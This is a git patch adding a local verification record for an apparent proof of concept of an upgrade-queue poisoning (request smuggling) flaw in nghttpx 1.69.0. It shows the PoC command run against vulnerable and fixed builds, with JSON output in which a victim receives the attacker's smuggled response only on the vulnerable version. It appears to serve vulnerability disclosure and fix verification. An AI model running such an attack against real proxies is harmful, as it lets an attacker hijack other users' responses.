From d7ab2fca7e1d7c3a706808f59d80653e2a820f17 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:52:02 +0000 Subject: [PATCH] Upload files to "nghttp2-nghttpx-upgrade-queue-poison-poc/evidence" --- .../evidence/local-verification.txt | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt diff --git a/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt b/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt new file mode 100644 index 0000000..eb71beb --- /dev/null +++ b/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt @@ -0,0 +1,56 @@ +Local verification date: 2026-06-26 + +Vulnerable target: + +nghttp2 v1.69.0 +nghttpx nghttp2/1.69.0 +release commit 68cb6900fde14c77f0cd7add0e094a862960eb99 + +Command: + +python3 poc.py --nghttpx ./build-v1.69.0/src/nghttpx --cwd ./nghttp2-v1.69.0 + +Output: + +{ + "attacker_body": "UPGRADE-REJECT", + "victim_body": "SMUGGLED-BENIGN-PAYLOAD", + "victim_received_poison": true, + "victim_received_expected": false, + "backend_connections": 2, + "backend_requests": [ + [ + "GET /upgrade HTTP/1.1", + "GET /poisoned HTTP/1.1", + "GET /victim HTTP/1.1" + ], + [] + ], + "nghttpx_returncode": -15 +} + +Fixed-control target: + +upstream master after ab28105c4a0197da24f8bfc414bc116055249e1e +nghttpx nghttp2/1.69.90 + +Command: + +python3 poc.py --nghttpx ./build-fixed/src/nghttpx --cwd ./nghttp2-fixed --expect-fixed + +Output: + +{ + "attacker_body": "400 Bad Request

400 Bad Request

", + "victim_body": "VICTIM-RESPONSE", + "victim_received_poison": false, + "victim_received_expected": true, + "backend_connections": 2, + "backend_requests": [ + [ + "GET /victim HTTP/1.1" + ], + [] + ], + "nghttpx_returncode": -15 +}